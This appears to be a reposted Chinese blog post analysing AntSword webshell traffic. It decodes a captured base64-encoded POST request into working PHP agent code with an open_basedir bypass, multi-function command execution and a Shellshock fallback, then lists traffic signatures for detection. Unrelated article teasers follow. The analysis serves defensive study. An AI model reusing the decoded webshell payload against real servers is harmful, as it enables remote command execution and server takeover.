Webshell 流量特征分析 (2)

news2024/11/25 1:17:40

前言:webshell是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理、服务器管理、权限管理等操作。使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站和服务器的管理。正因如此,也有小部分人将代码修改后当作后门程序使用,以达到控制网站服务器的目的。

蚁剑(续)

编码器

本次使用的蚁剑的版本是v2.1.15。当我们将编码器设置为base64时,解码器为default。

代理burp查看流量

d693ebb28cb6bd=1NL2Jpbi9zaA%3D%3D&fc772a1a9e421a=0o&naa4ed14c197cc=zlY2QgIi92YXIvd3d3L2h0bWwiO3dob2FtaTtlY2hvIGIzMDIyMztwd2Q7ZWNobyBiMjkwODhkMjRj&pass=%40eval(%40base64_decode(%24_POST%5B'x0e40a52055cd1'%5D))%3B&x0e40a52055cd1=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7JG9wZGlyPUBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTtpZigkb3BkaXIpIHskb2N3ZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7JG9wYXJyPXByZWdfc3BsaXQoYmFzZTY0X2RlY29kZSgiTHp0OE9pOD0iKSwkb3BkaXIpO0BhcnJheV9wdXNoKCRvcGFyciwkb2N3ZCxzeXNfZ2V0X3RlbXBfZGlyKCkpO2ZvcmVhY2goJG9wYXJyIGFzICRpdGVtKSB7aWYoIUBpc193cml0YWJsZSgkaXRlbSkpe2NvbnRpbnVlO307JHRtZGlyPSRpdGVtLiIvLjM5YTg0M2MiO0Bta2RpcigkdG1kaXIpO2lmKCFAZmlsZV9leGlzdHMoJHRtZGlyKSl7Y29udGludWU7fSR0bWRpcj1yZWFscGF0aCgkdG1kaXIpO0BjaGRpcigkdG1kaXIpO0Bpbmlfc2V0KCJvcGVuX2Jhc2VkaXIiLCAiLi4iKTskY250YXJyPUBwcmVnX3NwbGl0KCIvXFxcXHxcLy8iLCR0bWRpcik7Zm9yKCRpPTA7JGk8c2l6ZW9mKCRjbnRhcnIpOyRpKyspe0BjaGRpcigiLi4iKTt9O0Bpbmlfc2V0KCJvcGVuX2Jhc2VkaXIiLCIvIik7QHJtZGlyKCR0bWRpcik7YnJlYWs7fTt9OztmdW5jdGlvbiBhc2VuYygkb3V0KXtyZXR1cm4gJG91dDt9O2Z1bmN0aW9uIGFzb3V0cHV0KCl7JG91dHB1dD1vYl9nZXRfY29udGVudHMoKTtvYl9lbmRfY2xlYW4oKTtlY2hvICJkZGM5MSIuIjcwOWFiIjtlY2hvIEBhc2VuYygkb3V0cHV0KTtlY2hvICJkMDkiLiIxYTEiO31vYl9zdGFydCgpO3RyeXskcD1iYXNlNjRfZGVjb2RlKHN1YnN0cigkX1BPU1RbImQ2OTNlYmIyOGNiNmJkIl0sMikpOyRzPWJhc2U2NF9kZWNvZGUoc3Vic3RyKCRfUE9TVFsibmFhNGVkMTRjMTk3Y2MiXSwyKSk7JGVudnN0cj1AYmFzZTY0X2RlY29kZShzdWJzdHIoJF9QT1NUWyJmYzc3MmExYTllNDIxYSJdLDIpKTskZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7JGM9c3Vic3RyKCRkLDAsMSk9PSIvIj8iLWMgXCJ7JHN9XCIiOiIvYyBcInskc31cIiI7aWYoc3Vic3RyKCRkLDAsMSk9PSIvIil7QHB1dGVudigiUEFUSD0iLmdldGVudigiUEFUSCIpLiI6L3Vzci9sb2NhbC9zYmluOi91c3IvbG9jYWwvYmluOi91c3Ivc2JpbjovdXNyL2Jpbjovc2JpbjovYmluIik7fWVsc2V7QHB1dGVudigiUEFUSD0iLmdldGVudigiUEFUSCIpLiI7QzovV2luZG93cy9zeXN0ZW0zMjtDOi9XaW5kb3dzL1N5c1dPVzY0O0M6L1dpbmRvd3M7QzovV2luZG93cy9TeXN0ZW0zMi9XaW5kb3dzUG93ZXJTaGVsbC92MS4wLzsiKTt9aWYoIWVtcHR5KCRlbnZzdHIpKXskZW52YXJyPWV4cGxvZGUoInx8fGFzbGluZXx8fCIsICRlbnZzdHIpO2ZvcmVhY2goJGVudmFyciBhcyAkdikge2lmICghZW1wdHkoJHYpKSB7QHB1dGVudihzdHJfcmVwbGFjZSgifHx8YXNrZXl8fHwiLCAiPSIsICR2KSk7fX19JHI9InskcH0geyRjfSI7ZnVuY3Rpb24gZmUoJGYpeyRkPWV4cGxvZGUoIiwiLEBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpKTtpZihlbXB0eSgkZCkpeyRkPWFycmF5KCk7fWVsc2V7JGQ9YXJyYXlfbWFwKCd0cmltJyxhcnJheV9tYXAoJ3N0cnRvbG93ZXInLCRkKSk7fXJldHVybihmdW5jdGlvbl9leGlzdHMoJGYpJiZpc19jYWxsYWJsZSgkZikmJiFpbl9hcnJheSgkZiwkZCkpO307ZnVuY3Rpb24gcnVuc2hlbGxzaG9jaygkZCwgJGMpIHtpZiAoc3Vic3RyKCRkLCAwLCAxKSA9PSAiLyIgJiYgZmUoJ3B1dGVudicpICYmIChmZSgnZXJyb3JfbG9nJykgfHwgZmUoJ21haWwnKSkpIHtpZiAoc3Ryc3RyKHJlYWRsaW5rKCIvYmluL3NoIiksICJiYXNoIikgIT0gRkFMU0UpIHskdG1wID0gdGVtcG5hbShzeXNfZ2V0X3RlbXBfZGlyKCksICdhcycpO3B1dGVudigiUEhQX0xPTD0oKSB7IHg7IH07ICRjID4kdG1wIDI%2BJjEiKTtpZiAoZmUoJ2Vycm9yX2xvZycpKSB7ZXJyb3JfbG9nKCJhIiwgMSk7fSBlbHNlIHttYWlsKCJhQDEyNy4wLjAuMSIsICIiLCAiIiwgIi1idiIpO319IGVsc2Uge3JldHVybiBGYWxzZTt9JG91dHB1dCA9IEBmaWxlX2dldF9jb250ZW50cygkdG1wKTtAdW5saW5rKCR0bXApO2lmICgkb3V0cHV0ICE9ICIiKSB7cHJpbnQoJG91dHB1dCk7cmV0dXJuIFRydWU7fX1yZXR1cm4gRmFsc2U7fTtmdW5jdGlvbiBydW5jbWQoJGMpeyRyZXQ9MDskZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoZmUoJ3N5c3RlbScpKXtAc3lzdGVtKCRjLCRyZXQpO31lbHNlaWYoZmUoJ3Bhc3N0aHJ1Jykpe0BwYXNzdGhydSgkYywkcmV0KTt9ZWxzZWlmKGZlKCdzaGVsbF9leGVjJykpe3ByaW50KEBzaGVsbF9leGVjKCRjKSk7fWVsc2VpZihmZSgnZXhlYycpKXtAZXhlYygkYywkbywkcmV0KTtwcmludChqb2luKCIKIiwkbykpO31lbHNlaWYoZmUoJ3BvcGVuJykpeyRmcD1AcG9wZW4oJGMsJ3InKTt3aGlsZSghQGZlb2YoJGZwKSl7cHJpbnQoQGZnZXRzKCRmcCwyMDQ4KSk7fUBwY2xvc2UoJGZwKTt9ZWxzZWlmKGZlKCdwcm9jX29wZW4nKSl7JHAgPSBAcHJvY19vcGVuKCRjLCBhcnJheSgxID0%2BIGFycmF5KCdwaXBlJywgJ3cnKSwgMiA9PiBhcnJheSgncGlwZScsICd3JykpLCAkaW8pO3doaWxlKCFAZmVvZigkaW9bMV0pKXtwcmludChAZmdldHMoJGlvWzFdLDIwNDgpKTt9d2hpbGUoIUBmZW9mKCRpb1syXSkpe3ByaW50KEBmZ2V0cygkaW9bMl0sMjA0OCkpO31AZmNsb3NlKCRpb1sxXSk7QGZjbG9zZSgkaW9bMl0pO0Bwcm9jX2Nsb3NlKCRwKTt9ZWxzZWlmKGZlKCdhbnRzeXN0ZW0nKSl7QGFudHN5c3RlbSgkYyk7fWVsc2VpZihydW5zaGVsbHNob2NrKCRkLCAkYykpIHtyZXR1cm4gJHJldDt9ZWxzZWlmKHN1YnN0cigkZCwwLDEpIT0iLyIgJiYgQGNsYXNzX2V4aXN0cygiQ09NIikpeyR3PW5ldyBDT00oJ1dTY3JpcHQuc2hlbGwnKTskZT0kdy0%2BZXhlYygkYyk7JHNvPSRlLT5TdGRPdXQoKTskcmV0Lj0kc28tPlJlYWRBbGwoKTskc2U9JGUtPlN0ZEVycigpOyRyZXQuPSRzZS0%2BUmVhZEFsbCgpO3ByaW50KCRyZXQpO31lbHNleyRyZXQgPSAxMjc7fXJldHVybiAkcmV0O307JHJldD1AcnVuY21kKCRyLiIgMj4mMSIpO3ByaW50ICgkcmV0IT0wKT8icmV0PXskcmV0fSI6IiI7O31jYXRjaChFeGNlcHRpb24gJGUpe2VjaG8gIkVSUk9SOi8vIi4kZS0%2BZ2V0TWVzc2FnZSgpO307YXNvdXRwdXQoKTtkaWUoKTs%3D

可以看到给服务器发送的数据包时经过base64加密的,而服务器的响应包是明文的。我们先来看看前面几个没有进行加密的几个字段。如下

d693ebb28cb6bd=1NL2Jpbi9zaA%3D%3D
&fc772a1a9e421a=0o
&naa4ed14c197cc=zlY2QgIi92YXIvd3d3L2h0bWwiO3dob2FtaTtlY2hvIGIzMDIyMztwd2Q7ZWNobyBiMjkwODhkMjRj
&pass=%40eval(%40base64_decode(%24_POST%5B'x0e40a52055cd1'%5D))%3B
&x0e40a52055cd1=

对前面的这些字段做一个URL解码

d693ebb28cb6bd=1NL2Jpbi9zaA==
&fc772a1a9e421a=0o
&naa4ed14c197cc=zlY2QgIi92YXIvd3d3L2h0bWwiO3dob2FtaTtlY2hvIGIzMDIyMztwd2Q7ZWNobyBiMjkwODhkMjRj
&pass=@eval(@base64_decode($_POST['x0e40a52055cd1']));
&x0e40a52055cd1=

可以看到一共有4个POST参数
1. d693ebb28cb6bd
它的参数是1NL2Jpbi9zaA==,是一个base64编码后的内容,我们直接对这个内容进行解码的话是解不出来的,因为这个参数是被php做了处理之后的一段字符串。暂时搁置于此。

2. fc772a1a9e421a
它的参数就是0o,后面用于验证来用的,也可能是用来混淆代码的。

3. naa4ed14c197cc
它的参数是zlY2QgIi92YXIvd3d3L2h0bWwiO3dob2FtaTtlY2hvIGIzMDIyMztwd2Q7ZWNobyBiMjkwODhkMjRj,是一个base64编码后的内容,我们直接对这个内容进行解码的话是解不出来的,因为这个参数是被php做了处理之后的一段字符串。暂时搁置于此。

4. pass
pass参数的值主要是用来接收x0e40a52055cd1的值,进一步对它的值进行base64解码最后再带入到eval函数中。

5. x0e40a52055cd1的值,进一步对它的值进行base64解码最后再带入到eval函数中。的参数
它的参数是一段主要以base64加密的中间有部分url编码,所以先将整段代码进行url解码,最后再进行base64解码就会得到下面这段

# 简单做了些换行,更方便理解和分析
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {if(!@is_writable($item)){continue;};
$tmdir=$item."/.39a843c";
@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);
@ini_set("open_basedir","..");
$cntarr=@preg_split("/\\\\|\//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};
@ini_set("open_basedir","/");
@rmdir($tmdir);break;};};;
function asenc($out){return $out;};
function asoutput(){$output=ob_get_contents();ob_end_clean();
echo "ddc91"."709ab";
echo @asenc($output);
echo "d09"."1a1";}ob_start();
try{$p=base64_decode(substr($_POST["d693ebb28cb6bd"],2));
$s=base64_decode(substr($_POST["naa4ed14c197cc"],2));
$envstr=@base64_decode(substr($_POST["fc772a1a9e421a"],2));
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
if(substr($d,0,1)=="/"){@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");}
else{@putenv("PATH=".getenv("PATH").";
C:/Windows/system32;
C:/Windows/SysWOW64;C:/Windows;
C:/Windows/System32/WindowsPowerShell/v1.0/;");}
if(!empty($envstr)){$envarr=explode("|||asline|||", $envstr);
foreach($envarr as $v) {if (!empty($v)) {@putenv(str_replace("|||askey|||", "=", $v));}}}$r="{$p} {$c}";
function fe($f){$d=explode(",",@ini_get("disable_functions"));
if(empty($d)){$d=array();}
else{$d=array_map('trim',array_map('strtolower',$d));}
return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};
function runshellshock($d, $c) {if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (fe('error_log')) {error_log("a", 1);} 
else {mail("a@127.0.0.1", "", "", "-bv");}} 
else {return False;}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {print($output);return True;}}
return False;};
function runcmd($c){$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME"]);
if(fe('system')){@system($c,$ret);}
elseif(fe('passthru')){@passthru($c,$ret);}
elseif(fe('shell_exec')){print(@shell_exec($c));}
elseif(fe('exec')){@exec($c,$o,$ret);
print(join("",$o));}
elseif(fe('popen')){$fp=@popen($c,'r');
while(!@feof($fp)){print(@fgets($fp,2048));}
@pclose($fp);}
elseif(fe('proc_open')){$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while(!@feof($io[1])){print(@fgets($io[1],2048));}
while(!@feof($io[2])){print(@fgets($io[2],2048));}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);}
elseif(fe('antsystem')){@antsystem($c);}
elseif(runshellshock($d, $c)) {return $ret;}
elseif(substr($d,0,1)!="/" && @class_exists("COM")){$w=new COM('WScript.shell');
$e=$w->exec($c);
$so=$e->StdOut();
$ret.=$so->ReadAll();
$se=$e->StdErr();
$ret.=$se->ReadAll();print($ret);}
else{$ret = 127;}return $ret;};
$ret=@runcmd($r." 2>&1");
print ($ret!=0)?"ret={$ret}":"";;}
catch(Exception $e){echo "ERROR://".$e->getMessage();};
asoutput();
die();

这个时候就跟我们第一篇的文章差不多了,里面具体的参数也出来了~此时我们就可以知道前面的POST的参数的值是什么了。
比如d693ebb28cb6bd的值为1NL2Jpbi9zaA==

$p=base64_decode(substr($_POST["d693ebb28cb6bd"],2)

通过这段代码,我们可以知道它是先将1NL2Jpbi9zaA==经过了substr函数处理了,而这个函数的意思就是截取该段base64代码,截取从第三位开始,所以最后的值也就是L2Jpbi9zaA==,最后将这一段解码后得到的值就是/bin/bash
同理,我们可以算出naa4ed14c197cc的值

初始值:zlY2QgIi92YXIvd3d3L2h0bWwiO3dob2FtaTtlY2hvIGIzMDIyMztwd2Q7ZWNobyBiMjkwODhkMjRj 去除前两位也就是
Y2QgIi92YXIvd3d3L2h0bWwiO3dob2FtaTtlY2hvIGIzMDIyMztwd2Q7ZWNobyBiMjkwODhkMjRj
将上面这段代码进行base解码后就会得到下面这段内容,也就是我们需要执行命令的敏感参数。
cd "/var/www/html";whoami;echo b30223;pwd;echo b29088d24c

最后经过几轮倒转naa4ed14c197cc的值传递给下面的函数进行执行。

if(fe('system')){@system($c,$ret);}
elseif(fe('passthru')){@passthru($c,$ret);}
elseif(fe('shell_exec')){print(@shell_exec($c));}
elseif(fe('exec')){@exec($c,$o,$ret);

也就是说当我们选择了编码器为base64时,蚁剑就会在发送数据包的时候对我们的敏感数据进行一个base64加密,主要是为了躲避部分服务器上WAF的检测。有些WAF也会对响应包的数据进行检测,所以这个时候,解码器就会起到作用了,接下来我们看看解码器。

解码器

此时,我们将编码器和解码器都选择base64。

再来执行命令并用burp抓包查看

请求包跟编码器有关,响应包跟解码器有关,所以这个时候我们只看响应包。可以看到,响应包最后也进行了一个base64编码。这个时候就看出上面没解码时其余多的冗余字符串的作用了,就是为了和解码base64混合在一起,更容易躲避服务器的检测。

a8bdc3d3d3LWRhdGEKMDE0YmY3N2QKL3Zhci93d3cvaHRtbApmMTdhMzBjYwo=2b313920
# 最后正常的数据大概是下面这一段,机器一般很难检测出来。
d3d3LWRhdGEKMDE0YmY3N2QKL3Zhci93d3cvaHRtbApmMTdhMzBjYwo=
# 解码后
www-data
014bf77d
/var/www/html
f17a30cc

至此,我们总结一下蚁剑的流量特征:

加密前:
有五个字段,其中有一个字段中带有POST关键字。三个字段后都是base64加密,一个字段只有两个字符。
解密后:
@ini_set("display_errors","0");
@set_time_limit(0);
system、shell_exec、exec、passthru 关键字。

总结

另外本次分析,主要是看了蚁剑的编码器和解码器,此次测试主要是使用了base64编码,当然还有其他几种编码chr、chr16、rot13。有兴趣的同学可以自己试试。当然这些默认加密已经被很多安全厂商给加黑了。所以蚁剑还可以自己编写加密规则,后面如果有时间的话,出一期蚁剑自定义加密规则。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1043801.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

华为OD七日集训第6期 十一特辑 - 按算法分类,由易到难,循序渐进,玩转OD

目录 专栏导读华为OD机试算法题太多了&#xff0c;知识点繁杂&#xff0c;如何刷题更有效率呢&#xff1f; 一、逻辑分析二、数据结构1、线性表① 数组② 双指针 2、map与list3、优先队列4、滑动窗口5、二叉树6、并查集7、栈 三、算法1、基础算法① 贪心算法② 二分查找③ 分治…

【ComfyUI】Pytorch预训练模型(torch.hub)缓存地址修改

序言 最近玩ComfyUI时&#xff0c;每次生成图片&#xff0c;总是会下载一些东西&#xff0c;时间长了&#xff0c;C盘就不够用了&#xff0c;今天清理C盘发现&#xff0c;总是会在C:\Users\yutao\.cache\torch\hub\checkpoints这个路径下&#xff0c;下载大模型文件&#xff0…

初级软件测试入门教程

一、软件测试的基本概念 1、软件测试的定义 就是以发现错误为目的而运行程序的过程。 软件测试员的目标是找到软件缺陷&#xff0c;尽可能早一些&#xff0c;并确保其得以修复。 2、软件测试方法总体分类 试图验证软件是“工作的”&#xff08;所谓“工作的”就是指软件的…

linux应用层静态链接和动态链接(.a .so)

1、介绍 即使一个非常简单的程序&#xff0c;也需要依赖C标准库和系统库&#xff0c;链接其实就是把其他第三方库和自己源代码生成的二进制目标文件融合在一起的过程。经过链接之后&#xff0c;那些第三方库中定义的函数就能被调用执行了。早期的一些操作系统一般使用静态链接…

代码随想录算法训练营第23期day7| 454.四数相加II 、383. 赎金信 、15. 三数之和、18. 四数之和

目录 一、&#xff08;leetode 454&#xff09;四数相加II 二、&#xff08;leetcode 383&#xff09;赎金信 暴力解法 哈希法 三、&#xff08;leetcode 15&#xff09;三数之和 四、&#xff08;leetcode 18&#xff09;四数之和 一、&#xff08;leetode 454&#xf…

git 分支管理进阶

1. merge 命令&#xff1a;git merge A 作用&#xff1a;把 A 分支 合并到当前分支 &#xff08;此时当前分支新增了一次提交&#xff0c;指着指向该提交&#xff09; 初始状态&#xff1a; git merge bugFix 后&#xff1a; 此外&#xff0c;如果再把 main 分支合并到 bug…

Unigram,Bigram,N-gram介绍

Unigram,Bigram&#xff0c;N-gram介绍 Unigram,Bigram&#xff0c;N-gram这三个概念&#xff0c;在学习自然语言的过程中大家可能会遇到。 Unigram,Bigram&#xff0c;N-gram在自然语言内容中的语言模型部分中大家可能会碰到。语言模型有很多种&#xff0c;在上一篇介绍一个…

三层交换机与防火墙对接上网如何配置

环境: 1.三层交换机 H3C S6520 version 7.1.070, Release 6530P02 2.防火墙 深信服 8.0.75 AF-2000-FH2130B-SC 问题描述: 三层交换机与防火墙对接上网如何配置 公司有多个部门且位于不同网段,各部门均有访问Internet的需求。现要求用户通过三层交换机和防火墙访问…

MySQL 事务的操作指南(事务篇 二)

基本操作 事务的提交方式&#xff1a;自动提交&#xff08;autocommit1&#xff09;和手动提交&#xff08;autocommit0&#xff09; 查询和修改事务提交方式&#xff1a; -- 查看事务提交方式(标识表示这是个系统变量) select autocommit ;-- 修改事务提交方式为自动提交 …

Zorin OS 16.3 发布:无缝升级和卓越改进

导读Zorin OS 团队自豪地宣布了备受期待的 Zorin OS 16.3 版本的发布&#xff0c;这是这个受欢迎的 Linux 发行版的一个里程碑版本。自首次发布以来不到两年时间&#xff0c;Zorin OS 已经获得了庞大的用户群体&#xff0c;截至目前已经有 530 万次下载&#xff0c;而 16.3 版本…

网工内推 | 网络工程师,熟悉H3C设备,有华三认证优先

01 苏州市蓝皓计算机科技有限公司 招聘岗位&#xff1a;网络工程师 职责描述&#xff1a; 1、网络架构方案的规划、设计&#xff1b; 2、网络设备的配置以及网络环境的管理、配置、排错、维护&#xff1b; 3、网络项目的实施、协调、管理&#xff1b; 4、完成部门主管要求的各…

N 皇后问题

N 皇后问题研究的是如何将 N 个皇后放置在 N x N 的棋牌上&#xff0c;并且使皇后彼此之间不能相互攻击。 国际象棋的规则&#xff0c;皇后可以攻击与之处在同一行或同一列或同一斜线上的棋子 解决思路是&#xff1a;剪枝 回溯方法 解决问题 (1).使用二维数组创建棋牌格子 g…

Spring MVC 和 Spring Boot 的区别

&#x1f337;&#x1f341; 博主猫头虎&#xff08;&#x1f405;&#x1f43e;&#xff09;带您 Go to New World✨&#x1f341; &#x1f984; 博客首页——&#x1f405;&#x1f43e;猫头虎的博客&#x1f390; &#x1f433; 《面试题大全专栏》 &#x1f995; 文章图文…

连接组学中的机器学习:从表征学习到模型拟合

前言 机器学习(ML)由于其高自动化程度、高灵敏度和特异性优势&#xff0c;在医学影像领域取得了巨大的成功。由于具备这些优势&#xff0c;机器学习已被广泛应用于神经成像数据&#xff0c;目的是提取与感兴趣变量(如疾病状态)相关的特征。这使我们能够形成关于不同条件下大脑…

Python之xToolkit库

文章目录 一、xToolkit是什么&#xff1f;二、准备工作1.引入库2.导入数据 三、使用时间模块-xdatetime判断时间格式是否正确get方法获取时间戳获取年月日时分秒时间推移计算时间替换时间扩展两个时间的差值开始与结束时间时间是否在指定区间中 字符串模块-xstring字符串格式校…

前端任意修改地图风格颜色

在做地图相关应用时&#xff0c;常常遇到地图风格与UI界面不搭配的问题&#xff0c;如果在制图时就制作多种风格的地图&#xff0c;耗时耗力&#xff0c;超出成本控制。这里推荐一种快捷的方法&#xff0c;可在前端快速更改地图成任意风格&#xff0c;使色调与UI搭配。 先上一张…

软件项目费用计算方法

计算软件项目的费用是项目管理的关键组成部分之一。费用计算方法可以帮助您确定项目的总成本&#xff0c;包括开发、测试、维护和其他相关费用。以下是一些常见的软件项目费用计算方法&#xff0c;希望对大家有所帮助。北京木奇移动技术有限公司&#xff0c;专业的软件外包开发…

【51单片机】8-按键

1.按键相关知识 在按键未被按下之前&#xff0c;电路中默认为高电平【1】&#xff1b; 按键被按下后&#xff0c;电路中默认为低电平【0】 1.按键工作原理 1.内部机械结构 内部是没有电路的&#xff0c;电路在引脚上&#xff0c;看着4个引脚&#xff0c;实际上里面两个引脚相互…

暗猝灭剂BHQ-1 NHS,916753-61-2,BHQ-1 SE

产品简介&#xff1a;黑洞猝灭剂-1&#xff08;BHQ-1&#xff09;被归类为暗猝灭剂&#xff08;一种非荧光发色团&#xff09;&#xff0c;被广泛用作各种荧光共振、能量转移&#xff08;FRET&#xff09;和DNA检测探针中&#xff0c;此类探针主要用于核酸分析及核酸结构研究。…

Docker export导出容器,重新运行导出的容器

需求 在部署程序时&#xff0c;程序内的人脸识别组件第一次运行需要去下载第三方软件包&#xff0c;下载好之后就不需要再进行下载了。由于程序最终部署在不能连接外网的服务器上&#xff0c;所以需要在能连接外网的服务器上先部署运行并下载相关组件。因此需要对容器进行导出&…